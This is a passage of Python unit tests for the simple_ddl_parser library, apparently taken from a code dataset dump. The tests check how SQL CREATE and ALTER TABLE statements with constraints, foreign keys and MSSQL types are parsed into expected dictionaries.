expected\n\n\ndef test_alter_without_constraint_and_constraint_in_table():\n parse_results = DDLParser(\n \"\"\"\n CREATE TABLE Persons (\n ID int NOT NULL,\n LastName varchar(255) NOT NULL,\n FirstName varchar(255),\n Age int,\n City varchar(255),\n CONSTRAINT CHK_Person CHECK (Age>=18 AND City= 'Sandnes')\n );\n\n ALTER TABLE Persons ADD CHECK (Age>=18 AND City= 'Sandnes');\n\n \"\"\"\n ).run()\n expected = [\n {\n \"columns\": [\n {\n \"name\": \"ID\",\n \"type\": \"int\",\n \"size\": None,\n \"references\": None,\n \"unique\": False,\n \"nullable\": False,\n \"default\": None,\n \"check\": None,\n },\n {\n \"name\": \"LastName\",\n \"type\": \"varchar\",\n \"size\": 255,\n \"references\": None,\n \"unique\": False,\n \"nullable\": False,\n \"default\": None,\n \"check\": None,\n },\n {\n \"name\": \"FirstName\",\n \"type\": \"varchar\",\n \"size\": 255,\n \"references\": None,\n \"unique\": False,\n \"nullable\": True,\n \"default\": None,\n \"check\": None,\n },\n {\n \"name\": \"Age\",\n \"type\": \"int\",\n \"size\": None,\n \"references\": None,\n \"unique\": False,\n \"nullable\": True,\n \"default\": None,\n \"check\": None,\n },\n {\n \"name\": \"City\",\n \"type\": \"varchar\",\n \"size\": 255,\n \"references\": None,\n \"unique\": False,\n \"nullable\": True,\n \"default\": None,\n \"check\": None,\n },\n ],\n \"primary_key\": [],\n \"index\": [],\n \"alter\": {\n \"checks\": [\n {\n \"constraint_name\": None,\n \"statement\": \"Age>=18 AND City= 'Sandnes'\",\n }\n ]\n },\n \"checks\": [\n {\n \"constraint_name\": \"CHK_Person\",\n \"statement\": \"Age>=18 AND City= 'Sandnes'\",\n }\n ],\n \"constraints\": {\n \"checks\": [\n {\n \"constraint_name\": \"CHK_Person\",\n \"statement\": \"Age>=18 AND City= 'Sandnes'\",\n }\n ]\n },\n \"table_name\": \"Persons\",\n \"tablespace\": None,\n \"schema\": None,\n \"partitioned_by\": [],\n }\n ]\n assert expected == parse_results\n\n\ndef test_combo_with_alter_and_table_constraints():\n parse_results = DDLParser(\n \"\"\"\n CREATE TABLE employees (\n id SERIAL PRIMARY KEY,\n first_name VARCHAR (50),\n last_name VARCHAR (50),\n birth_date DATE CHECK (birth_date > '1900-01-01'),\n joined_date DATE CHECK (joined_date > birth_date),\n salary numeric CHECK(salary > 0)\n );\n CREATE TABLE Persons (\n ID int NOT NULL,\n LastName varchar(255) NOT NULL,\n FirstName varchar(255),\n Age int,\n City varchar(255),\n CONSTRAINT CHK_Person CHECK (Age>=18 AND City='Sandnes')\n );\n ALTER TABLE Persons ADD CHECK (Age>=18 AND City='Sandnes');\n ALTER TABLE Persons Add CONSTRAINT ck_person CHECK (Age>=18 AND City='Sandnes');\n Alter Table Persons ADD CONSTRAINT fk_group FOREIGN KEY (id) REFERENCES employees (id);\"\"\"\n ).run()\n\n expected = [\n {\n \"columns\": [\n {\n \"name\": \"id\",\n \"type\": \"SERIAL\",\n \"size\": None,\n \"references\": None,\n \"unique\": False,\n \"nullable\": False,\n \"default\": None,\n \"check\": None,\n },\n {\n \"name\": \"first_name\",\n \"type\": \"VARCHAR\",\n \"size\": 50,\n \"references\": None,\n \"unique\": False,\n \"nullable\": True,\n \"default\": None,\n \"check\": None,\n },\n {\n \"name\": \"last_name\",\n \"type\": \"VARCHAR\",\n \"size\": 50,\n \"references\": None,\n \"unique\": False,\n \"nullable\": True,\n \"default\": None,\n \"check\": None,\n },\n {\n \"name\": \"birth_date\",\n \"type\": \"DATE\",\n \"size\": None,\n \"references\": None,\n \"unique\": False,\n \"nullable\": True,\n \"default\": None,\n \"check\": \"birth_date > '1900-01-01'\",\n },\n {\n \"name\": \"joined_date\",\n \"type\": \"DATE\",\n \"size\": None,\n \"references\": None,\n \"unique\": False,\n \"nullable\": True,\n \"default\": None,\n \"check\": \"joined_date > birth_date\",\n },\n {\n \"check\": \"salary > 0\",\n \"default\": None,\n \"name\": \"salary\",\n \"nullable\": True,\n \"references\": None,\n \"size\": None,\n \"type\": \"numeric\",\n \"unique\": False,\n },\n ],\n \"primary_key\": [\"id\"],\n \"index\": [],\n \"alter\": {},\n \"checks\": [],\n \"table_name\": \"employees\",\n \"tablespace\": None,\n \"schema\": None,\n \"partitioned_by\": [],\n },\n {\n \"columns\": [\n {\n \"name\": \"ID\",\n \"type\": \"int\",\n \"size\": None,\n \"references\": None,\n \"unique\": False,\n \"nullable\": False,\n \"default\": None,\n \"check\": None,\n },\n {\n \"name\": \"LastName\",\n \"type\": \"varchar\",\n \"size\": 255,\n \"references\": None,\n \"unique\": False,\n \"nullable\": False,\n \"default\": None,\n \"check\": None,\n },\n {\n \"name\": \"FirstName\",\n \"type\": \"varchar\",\n \"size\": 255,\n \"references\": None,\n \"unique\": False,\n \"nullable\": True,\n \"default\": None,\n \"check\": None,\n },\n {\n \"name\": \"Age\",\n \"type\": \"int\",\n \"size\": None,\n \"references\": None,\n \"unique\": False,\n \"nullable\": True,\n \"default\": None,\n \"check\": None,\n },\n {\n \"name\": \"City\",\n \"type\": \"varchar\",\n \"size\": 255,\n \"references\": None,\n \"unique\": False,\n \"nullable\": True,\n \"default\": None,\n \"check\": None,\n },\n ],\n \"primary_key\": [],\n \"index\": [],\n \"alter\": {\n \"checks\": [\n {\n \"constraint_name\": None,\n \"statement\": \"Age>=18 AND City= 'Sandnes'\",\n },\n {\n \"constraint_name\": \"ck_person\",\n \"statement\": \"Age>=18 AND City= 'Sandnes'\",\n },\n ],\n \"columns\": [\n {\n \"name\": \"id\",\n \"constraint_name\": \"fk_group\",\n \"references\": {\n \"column\": \"id\",\n \"table\": \"employees\",\n \"schema\": None,\n \"on_update\": None,\n \"on_delete\": None,\n \"deferrable_initially\": None,\n },\n }\n ],\n },\n \"checks\": [\n {\n \"constraint_name\": \"CHK_Person\",\n \"statement\": \"Age>=18 AND City= 'Sandnes'\",\n }\n ],\n \"constraints\": {\n \"checks\": [\n {\n \"constraint_name\": \"CHK_Person\",\n \"statement\": \"Age>=18 AND City= 'Sandnes'\",\n }\n ]\n },\n \"table_name\": \"Persons\",\n \"tablespace\": None,\n \"schema\": None,\n \"partitioned_by\": [],\n },\n ]\n assert expected == parse_results\n\n\ndef test_alter_foreign_with_multiple_ids():\n parse_results = DDLParser(\n \"\"\"\nCREATE TABLE employees (\n id SERIAL PRIMARY KEY,\n first_name VARCHAR (50),\n last_name VARCHAR (50),\n birth_date DATE CHECK (birth_date > '1900-01-01'),\n joined_date DATE CHECK (joined_date > birth_date),\n salary numeric CHECK(salary > 0)\n Age int,\n );\n CREATE TABLE Persons (\n ID int NOT NULL,\n LastName varchar(255) NOT NULL,\n FirstName varchar(255),\n Age int,\n City varchar(255),\n birth_date DATE CHECK (birth_date > '1900-01-01'),\n CONSTRAINT CHK_Person CHECK (Age>=18 AND City='Sandnes')\n );\n Alter Table Persons ADD CONSTRAINT fk_group FOREIGN KEY (id, Age, birth_date) REFERENCES employees (id, Age, birth_date);\n\"\"\" # noqa E501\n ).run()\n expected = [\n {\n \"columns\": [\n {\n \"name\": \"id\",\n \"type\": \"SERIAL\",\n \"size\": None,\n \"references\": None,\n \"unique\": False,\n \"nullable\": False,\n \"default\": None,\n \"check\": None,\n },\n {\n \"name\": \"first_name\",\n \"type\": \"VARCHAR\",\n \"size\": 50,\n \"references\": None,\n \"unique\": False,\n \"nullable\": True,\n \"default\": None,\n \"check\": None,\n },\n {\n \"name\": \"last_name\",\n \"type\": \"VARCHAR\",\n \"size\": 50,\n \"references\": None,\n \"unique\": False,\n \"nullable\": True,\n \"default\": None,\n \"check\": None,\n },\n {\n \"name\": \"birth_date\",\n \"type\": \"DATE\",\n \"size\": None,\n \"references\": None,\n \"unique\": False,\n \"nullable\": True,\n \"default\": None,\n \"check\": \"birth_date > '1900-01-01'\",\n },\n {\n \"name\": \"joined_date\",\n \"type\": \"DATE\",\n \"size\": None,\n \"references\": None,\n \"unique\": False,\n \"nullable\": True,\n \"default\": None,\n \"check\": \"joined_date > birth_date\",\n },\n {\n \"name\": \"salary\",\n \"type\": \"numeric\",\n \"size\": None,\n \"references\": None,\n \"unique\": False,\n \"nullable\": True,\n \"default\": None,\n \"check\": \"salary > 0 Age int\",\n },\n ],\n \"primary_key\": [\"id\"],\n \"alter\": {},\n \"checks\": [],\n \"index\": [],\n \"schema\": None,\n \"partitioned_by\": [],\n \"table_name\": \"employees\",\n \"tablespace\": None,\n },\n {\n \"columns\": [\n {\n \"name\": \"ID\",\n \"type\": \"int\",\n \"size\": None,\n \"references\": None,\n \"unique\": False,\n \"nullable\": False,\n \"default\": None,\n \"check\": None,\n },\n {\n \"name\": \"LastName\",\n \"type\": \"varchar\",\n \"size\": 255,\n \"references\": None,\n \"unique\": False,\n \"nullable\": False,\n \"default\": None,\n \"check\": None,\n },\n {\n \"name\": \"FirstName\",\n \"type\": \"varchar\",\n \"size\": 255,\n \"references\": None,\n \"unique\": False,\n \"nullable\": True,\n \"default\": None,\n \"check\": None,\n },\n {\n \"name\": \"Age\",\n \"type\": \"int\",\n \"size\": None,\n \"references\": None,\n \"unique\": False,\n \"nullable\": True,\n \"default\": None,\n \"check\": None,\n },\n {\n \"name\": \"City\",\n \"type\": \"varchar\",\n \"size\": 255,\n \"references\": None,\n \"unique\": False,\n \"nullable\": True,\n \"default\": None,\n \"check\": None,\n },\n {\n \"name\": \"birth_date\",\n \"type\": \"DATE\",\n \"size\": None,\n \"references\": None,\n \"unique\": False,\n \"nullable\": True,\n \"default\": None,\n \"check\": \"birth_date > '1900-01-01'\",\n },\n ],\n \"primary_key\": [],\n \"alter\": {\n \"columns\": [\n {\n \"name\": \"id\",\n \"constraint_name\": \"fk_group\",\n \"references\": {\n \"column\": \"id\",\n \"table\": \"employees\",\n \"schema\": None,\n \"on_update\": None,\n \"on_delete\": None,\n \"deferrable_initially\": None,\n },\n },\n {\n \"name\": \"Age\",\n \"constraint_name\": \"fk_group\",\n \"references\": {\n \"column\": \"Age\",\n \"table\": \"employees\",\n \"schema\": None,\n \"on_update\": None,\n \"on_delete\": None,\n \"deferrable_initially\": None,\n },\n },\n {\n \"name\": \"birth_date\",\n \"constraint_name\": \"fk_group\",\n \"references\": {\n \"column\": \"birth_date\",\n \"table\": \"employees\",\n \"schema\": None,\n \"on_update\": None,\n \"on_delete\": None,\n \"deferrable_initially\": None,\n },\n },\n ]\n },\n \"checks\": [\n {\n \"constraint_name\": \"CHK_Person\",\n \"statement\": \"Age>=18 AND City= 'Sandnes'\",\n }\n ],\n \"constraints\": {\n \"checks\": [\n {\n \"constraint_name\": \"CHK_Person\",\n \"statement\": \"Age>=18 AND City= 'Sandnes'\",\n }\n ]\n },\n \"index\": [],\n \"schema\": None,\n \"partitioned_by\": [],\n \"table_name\": \"Persons\",\n \"tablespace\": None,\n },\n ]\n assert expected == parse_results\n\n\ndef test_several_alter_fk_for_same_table():\n parse_results = DDLParser(\n \"\"\"\nCREATE TABLE employees (\n id SERIAL PRIMARY KEY,\n first_name VARCHAR (50),\n last_name VARCHAR (50),\n birth_date DATE CHECK (birth_date > '1900-01-01'),\n joined_date DATE CHECK (joined_date > birth_date),\n salary numeric CHECK(salary > 0)\n Age int,\n );\n CREATE TABLE Persons (\n ID int NOT NULL,\n LastName varchar(255) NOT NULL,\n FirstName varchar(255),\n Age int,\n City varchar(255),\n birth_date DATE CHECK (birth_date > '1900-01-01'),\n CONSTRAINT CHK_Person CHECK (Age>=18 AND City='Sandnes')\n );\n Alter Table Persons ADD CONSTRAINT fk_group FOREIGN KEY (id, Age) REFERENCES employees (id, Age, birth_date);\n Alter Table Persons ADD CONSTRAINT new_fk FOREIGN KEY (birth_date) REFERENCES employees (birth_date);\"\"\"\n ).run()\n expected = [\n {\n \"alter\": {},\n \"checks\": [],\n \"columns\": [\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"id\",\n \"nullable\": False,\n \"references\": None,\n \"size\": None,\n \"type\": \"SERIAL\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"first_name\",\n \"nullable\": True,\n \"references\": None,\n \"size\": 50,\n \"type\": \"VARCHAR\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"last_name\",\n \"nullable\": True,\n \"references\": None,\n \"size\": 50,\n \"type\": \"VARCHAR\",\n \"unique\": False,\n },\n {\n \"check\": \"birth_date > '1900-01-01'\",\n \"default\": None,\n \"name\": \"birth_date\",\n \"nullable\": True,\n \"references\": None,\n \"size\": None,\n \"type\": \"DATE\",\n \"unique\": False,\n },\n {\n \"check\": \"joined_date > birth_date\",\n \"default\": None,\n \"name\": \"joined_date\",\n \"nullable\": True,\n \"references\": None,\n \"size\": None,\n \"type\": \"DATE\",\n \"unique\": False,\n },\n {\n \"check\": \"salary > 0 Age int\",\n \"default\": None,\n \"name\": \"salary\",\n \"nullable\": True,\n \"references\": None,\n \"size\": None,\n \"type\": \"numeric\",\n \"unique\": False,\n },\n ],\n \"index\": [],\n \"partitioned_by\": [],\n \"primary_key\": [\"id\"],\n \"schema\": None,\n \"table_name\": \"employees\",\n \"tablespace\": None,\n },\n {\n \"alter\": {\n \"columns\": [\n {\n \"constraint_name\": \"fk_group\",\n \"name\": \"id\",\n \"references\": {\n \"column\": \"id\",\n \"deferrable_initially\": None,\n \"on_delete\": None,\n \"on_update\": None,\n \"schema\": None,\n \"table\": \"employees\",\n },\n },\n {\n \"constraint_name\": \"fk_group\",\n \"name\": \"Age\",\n \"references\": {\n \"column\": \"Age\",\n \"deferrable_initially\": None,\n \"on_delete\": None,\n \"on_update\": None,\n \"schema\": None,\n \"table\": \"employees\",\n },\n },\n {\n \"constraint_name\": \"new_fk\",\n \"name\": \"birth_date\",\n \"references\": {\n \"column\": \"birth_date\",\n \"deferrable_initially\": None,\n \"on_delete\": None,\n \"on_update\": None,\n \"schema\": None,\n \"table\": \"employees\",\n },\n },\n ]\n },\n \"checks\": [\n {\n \"constraint_name\": \"CHK_Person\",\n \"statement\": \"Age>=18 AND City= 'Sandnes'\",\n }\n ],\n \"columns\": [\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"ID\",\n \"nullable\": False,\n \"references\": None,\n \"size\": None,\n \"type\": \"int\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"LastName\",\n \"nullable\": False,\n \"references\": None,\n \"size\": 255,\n \"type\": \"varchar\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"FirstName\",\n \"nullable\": True,\n \"references\": None,\n \"size\": 255,\n \"type\": \"varchar\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"Age\",\n \"nullable\": True,\n \"references\": None,\n \"size\": None,\n \"type\": \"int\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"City\",\n \"nullable\": True,\n \"references\": None,\n \"size\": 255,\n \"type\": \"varchar\",\n \"unique\": False,\n },\n {\n \"check\": \"birth_date > '1900-01-01'\",\n \"default\": None,\n \"name\": \"birth_date\",\n \"nullable\": True,\n \"references\": None,\n \"size\": None,\n \"type\": \"DATE\",\n \"unique\": False,\n },\n ],\n \"index\": [],\n \"partitioned_by\": [],\n \"primary_key\": [],\n \"constraints\": {\n \"checks\": [\n {\n \"constraint_name\": \"CHK_Person\",\n \"statement\": \"Age>=18 AND City= 'Sandnes'\",\n }\n ]\n },\n \"schema\": None,\n \"table_name\": \"Persons\",\n \"tablespace\": None,\n },\n ]\n assert expected == parse_results\n\n\ndef test_alter_table_only():\n ddl = \"\"\"\n CREATE TABLE public.accounts (\n user_id integer NOT NULL,\n username character varying(50) NOT NULL,\n password character varying(50) NOT NULL,\n email character varying(255) NOT NULL,\n created_on timestamp without time zone NOT NULL,\n last_login timestamp without time zone\n );\n ALTER TABLE ONLY public.accounts\n ADD CONSTRAINT accounts_username_key UNIQUE (username);\n \"\"\"\n result = DDLParser(ddl).run(group_by_type=True, output_mode=\"bigquery\")\n expected = {\n \"ddl_properties\": [],\n \"domains\": [],\n \"schemas\": [],\n \"sequences\": [],\n \"tables\": [\n {\n \"alter\": {\n \"uniques\": [\n {\n \"columns\": [\"username\"],\n \"constraint_name\": \"accounts_username_key\",\n }\n ]\n },\n \"checks\": [],\n \"columns\": [\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"user_id\",\n \"nullable\": False,\n \"references\": None,\n \"size\": None,\n \"type\": \"integer\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"username\",\n \"nullable\": False,\n \"references\": None,\n \"size\": 50,\n \"type\": \"character varying\",\n \"unique\": True,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"password\",\n \"nullable\": False,\n \"references\": None,\n \"size\": 50,\n \"type\": \"character varying\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"email\",\n \"nullable\": False,\n \"references\": None,\n \"size\": 255,\n \"type\": \"character varying\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"created_on\",\n \"nullable\": False,\n \"references\": None,\n \"size\": None,\n \"type\": \"timestamp without time zone\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"last_login\",\n \"nullable\": True,\n \"references\": None,\n \"size\": None,\n \"type\": \"timestamp without time zone\",\n \"unique\": False,\n },\n ],\n \"dataset\": \"public\",\n \"index\": [],\n \"partitioned_by\": [],\n \"primary_key\": [],\n \"table_name\": \"accounts\",\n \"tablespace\": None,\n }\n ],\n \"types\": [],\n }\n assert expected == result\n\n\ndef test_alter_table_if_exists():\n ddl = \"\"\"\n CREATE TABLE public.accounts (\n user_id integer NOT NULL,\n username character varying(50) NOT NULL,\n password character varying(50) NOT NULL,\n email character varying(255) NOT NULL,\n created_on timestamp without time zone NOT NULL,\n last_login timestamp without time zone\n );\n ALTER TABLE IF EXISTS public.accounts\n ADD CONSTRAINT accounts_username_key UNIQUE (username);\n \"\"\"\n result = DDLParser(ddl).run(group_by_type=True, output_mode=\"bigquery\")\n expected = {\n \"ddl_properties\": [],\n \"domains\": [],\n \"schemas\": [],\n \"sequences\": [],\n \"tables\": [\n {\n \"alter\": {\n \"uniques\": [\n {\n \"columns\": [\"username\"],\n \"constraint_name\": \"accounts_username_key\",\n }\n ]\n },\n \"checks\": [],\n \"columns\": [\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"user_id\",\n \"nullable\": False,\n \"references\": None,\n \"size\": None,\n \"type\": \"integer\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"username\",\n \"nullable\": False,\n \"references\": None,\n \"size\": 50,\n \"type\": \"character varying\",\n \"unique\": True,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"password\",\n \"nullable\": False,\n \"references\": None,\n \"size\": 50,\n \"type\": \"character varying\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"email\",\n \"nullable\": False,\n \"references\": None,\n \"size\": 255,\n \"type\": \"character varying\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"created_on\",\n \"nullable\": False,\n \"references\": None,\n \"size\": None,\n \"type\": \"timestamp without time zone\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"last_login\",\n \"nullable\": True,\n \"references\": None,\n \"size\": None,\n \"type\": \"timestamp without time zone\",\n \"unique\": False,\n },\n ],\n \"dataset\": \"public\",\n \"index\": [],\n \"partitioned_by\": [],\n \"primary_key\": [],\n \"table_name\": \"accounts\",\n \"tablespace\": None,\n }\n ],\n \"types\": [],\n }\n assert expected == result\n", "id": "7204282", "language": "Python", "matching_score": 4.683803558349609, "max_stars_count": 46, "path": "tests/test_alter_statements.py" }, { "content": "from simple_ddl_parser import DDLParser\n\n\ndef test_int_identity_type():\n ddl = \"\"\"\n CREATE TABLE sqlserverlist (\n\n id INT IDENTITY (1,1) PRIMARY KEY, -- NOTE\n company_id BIGINT ,\n )\n \"\"\"\n\n result = DDLParser(ddl).run(group_by_type=True)\n expected = {\n \"comments\": [\" NOTE\"],\n \"ddl_properties\": [],\n \"sequences\": [],\n \"domains\": [],\n \"schemas\": [],\n \"tables\": [\n {\n \"alter\": {},\n \"checks\": [],\n \"columns\": [\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"id\",\n \"nullable\": False,\n \"references\": None,\n \"size\": (1, 1),\n \"type\": \"INT IDENTITY\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"company_id\",\n \"nullable\": True,\n \"references\": None,\n \"size\": None,\n \"type\": \"BIGINT\",\n \"unique\": False,\n },\n ],\n \"index\": [],\n \"partitioned_by\": [],\n \"primary_key\": [\"id\"],\n \"schema\": None,\n \"table_name\": \"sqlserverlist\",\n \"tablespace\": None,\n }\n ],\n \"types\": [],\n }\n assert expected == result\n\n\ndef test_mssql_foreign_ref_in_column():\n\n ddl = \"\"\"\n CREATE TABLE sqlserverlist (\n\n id INT IDENTITY (1,1) PRIMARY KEY, -- NOTE\n company_id BIGINT ,\n primary_id INT FOREIGN KEY REFERENCES Persons(PersonID), -- ADD THIS COLUMN FOR THE FOREIGN KEY\n )\n \"\"\"\n\n result = DDLParser(ddl).run(group_by_type=True)\n expected = {\n \"comments\": [\" NOTE\"],\n \"ddl_properties\": [],\n \"sequences\": [],\n \"domains\": [],\n \"schemas\": [],\n \"tables\": [\n {\n \"alter\": {},\n \"checks\": [],\n \"columns\": [\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"id\",\n \"nullable\": False,\n \"references\": None,\n \"size\": (1, 1),\n \"type\": \"INT IDENTITY\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"company_id\",\n \"nullable\": True,\n \"references\": None,\n \"size\": None,\n \"type\": \"BIGINT\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"primary_id\",\n \"nullable\": True,\n \"references\": {\n \"column\": \"PersonID\",\n \"deferrable_initially\": None,\n \"on_delete\": None,\n \"on_update\": None,\n \"schema\": None,\n \"table\": \"Persons\",\n },\n \"size\": None,\n \"type\": \"INT\",\n \"unique\": False,\n },\n ],\n \"index\": [],\n \"partitioned_by\": [],\n \"primary_key\": [\"id\"],\n \"schema\": None,\n \"table_name\": \"sqlserverlist\",\n \"tablespace\": None,\n }\n ],\n \"types\": [],\n }\n assert expected == result\n\n\ndef test_max_supported_as_column_size():\n ddl = \"\"\"\n CREATE TABLE sqlserverlist (\n\n user_account VARCHAR(8000) NOT NULL,\n user_first_name VARCHAR(max) NOT NULL,\n )\n \"\"\"\n result = DDLParser(ddl).run(group_by_type=True)\n expected = {\n \"sequences\": [],\n \"ddl_properties\": [],\n \"domains\": [],\n \"schemas\": [],\n \"tables\": [\n {\n \"alter\": {},\n \"checks\": [],\n \"columns\": [\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"user_account\",\n \"nullable\": False,\n \"references\": None,\n \"size\": 8000,\n \"type\": \"VARCHAR\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"user_first_name\",\n \"nullable\": False,\n \"references\": None,\n \"size\": \"max\",\n \"type\": \"VARCHAR\",\n \"unique\": False,\n },\n ],\n \"index\": [],\n \"partitioned_by\": [],\n \"primary_key\": [],\n \"schema\": None,\n \"table_name\": \"sqlserverlist\",\n \"tablespace\": None,\n }\n ],\n \"types\": [],\n }\n assert expected == result\n\n\ndef test_constraint_unique():\n ddl = \"\"\"\n CREATE TABLE sqlserverlist (\n\n id INT IDENTITY (1,1) PRIMARY KEY, -- NOTE\n company_id BIGINT ,\n user_last_name \tVARBINARY(8000) NOT NULL,\n CONSTRAINT UC_sqlserverlist_last_name UNIQUE (company_id,user_last_name)\n )\n \"\"\"\n\n result = DDLParser(ddl).run(group_by_type=True)\n expected = {\n \"comments\": [\" NOTE\"],\n \"sequences\": [],\n \"ddl_properties\": [],\n \"domains\": [],\n \"schemas\": [],\n \"tables\": [\n {\n \"alter\": {},\n \"checks\": [],\n \"columns\": [\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"id\",\n \"nullable\": False,\n \"references\": None,\n \"size\": (1, 1),\n \"type\": \"INT IDENTITY\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"company_id\",\n \"nullable\": True,\n \"references\": None,\n \"size\": None,\n \"type\": \"BIGINT\",\n \"unique\": True,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"user_last_name\",\n \"nullable\": False,\n \"references\": None,\n \"size\": 8000,\n \"type\": \"VARBINARY\",\n \"unique\": True,\n },\n ],\n \"index\": [],\n \"partitioned_by\": [],\n \"primary_key\": [\"id\"],\n \"schema\": None,\n \"table_name\": \"sqlserverlist\",\n \"tablespace\": None,\n \"constraints\": {\n \"uniques\": [\n {\n \"columns\": [\"company_id\", \"user_last_name\"],\n \"constraint_name\": \"UC_sqlserverlist_last_name\",\n }\n ]\n },\n }\n ],\n \"types\": [],\n }\n\n assert expected == result\n\n\ndef test_constraint_unique_none():\n ddl = \"\"\"\n CREATE TABLE sqlserverlist (\n\n id INT IDENTITY (1,1) PRIMARY KEY, -- NOTE\n company_id BIGINT ,\n user_last_name \tVARBINARY(8000) NOT NULL\n )\n \"\"\"\n\n result = DDLParser(ddl).run(group_by_type=True, output_mode=\"mssql\")\n expected = {\n \"comments\": [\" NOTE\"],\n \"sequences\": [],\n \"ddl_properties\": [],\n \"domains\": [],\n \"schemas\": [],\n \"tables\": [\n {\n \"alter\": {},\n \"checks\": [],\n \"columns\": [\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"id\",\n \"nullable\": False,\n \"references\": None,\n \"size\": (1, 1),\n \"type\": \"INT IDENTITY\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"company_id\",\n \"nullable\": True,\n \"references\": None,\n \"size\": None,\n \"type\": \"BIGINT\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"user_last_name\",\n \"nullable\": False,\n \"references\": None,\n \"size\": 8000,\n \"type\": \"VARBINARY\",\n \"unique\": False,\n },\n ],\n \"index\": [],\n \"partitioned_by\": [],\n \"primary_key\": [\"id\"],\n \"schema\": None,\n \"table_name\": \"sqlserverlist\",\n \"tablespace\": None,\n \"constraints\": {\"uniques\": None, \"checks\": None, \"references\": None},\n }\n ],\n \"types\": [],\n }\n\n assert expected == result\n\n\ndef test_two_unique_constructs():\n ddl = \"\"\"\n CREATE TABLE sqlserverlist (\n\n id INT IDENTITY (1,1) PRIMARY KEY, -- NOTE\n company_id BIGINT ,\n primary_id INT FOREIGN KEY REFERENCES Persons(PersonID), -- ADD THIS COLUMN FOR THE FOREIGN KEY\n age TINYINT NULL UNIQUE,\n days_active SMALLINT NOT NULL,\n user_origin_of_birth char(255),\n user_account VARCHAR(8000) NOT NULL,\n user_first_name VARCHAR(max) NOT NULL,\n user_last_name \tVARBINARY(8000) NOT NULL,\n user_street NCHAR(400) NULL,\n user_city NVARCHAR(4000),\n about_user NTEXT NULL,\n user_description TEXT,\n starting_funds FLOAT(53) NULL,\n extra_funds REAL,\n current_funds DECIMAL (38,20),\n ending_funds SMALLMONEY NOT NULL,\n birth_date DATE NOT NULL,\n time_of_birth TIME(7),\n enrollment_date SMALLDATETIME,\n delete_date DATETIME NULL,\n create_date DATETIME2(7) NOT NULL,\n user_time_zone DATETIMEOFFSET(7),\n oder_date date DEFAULT GETDATE(), -- added to demonstrate sql sever Defaults\n country varchar(255) DEFAULT 'Sandnes', -- added to demonstrate sql sever Defaults\n active bit NULL,\n home_size GEOMETRY, -- Sql Server Defaults to Null\n user_photo IMAGE, -- Sql Server Defaults to Null\n --UNIQUE (id),\n CONSTRAINT UC_date UNIQUE (delete_date,create_date),\n CONSTRAINT UC_sqlserverlist_last_name UNIQUE (company_id,user_last_name),\n CONSTRAINT CHK_Person_Age_under CHECK (days_active<=18 AND user_city='New York'),\n CONSTRAINT FK_Person_Age_under FOREIGN KEY (id)REFERENCES Persons(PersonID)\n )\n \"\"\"\n\n result = DDLParser(ddl).run(group_by_type=True)\n expected = {\n \"comments\": [\" NOTE\"],\n \"sequences\": [],\n \"ddl_properties\": [],\n \"domains\": [],\n \"schemas\": [],\n \"tables\": [\n {\n \"alter\": {},\n \"checks\": [\n {\n \"constraint_name\": \"CHK_Person_Age_under\",\n \"statement\": \"days_active<=18 AND user_city= 'New York'\",\n }\n ],\n \"columns\": [\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"id\",\n \"nullable\": False,\n \"references\": None,\n \"size\": (1, 1),\n \"type\": \"INT IDENTITY\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"company_id\",\n \"nullable\": True,\n \"references\": None,\n \"size\": None,\n \"type\": \"BIGINT\",\n \"unique\": True,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"primary_id\",\n \"nullable\": True,\n \"references\": {\n \"column\": \"PersonID\",\n \"deferrable_initially\": None,\n \"on_delete\": None,\n \"on_update\": None,\n \"schema\": None,\n \"table\": \"Persons\",\n },\n \"size\": None,\n \"type\": \"INT\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"age\",\n \"nullable\": True,\n \"references\": None,\n \"size\": None,\n \"type\": \"TINYINT\",\n \"unique\": True,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"days_active\",\n \"nullable\": False,\n \"references\": None,\n \"size\": None,\n \"type\": \"SMALLINT\",\n \"unique\": False,\n },\n {\n \"check\": 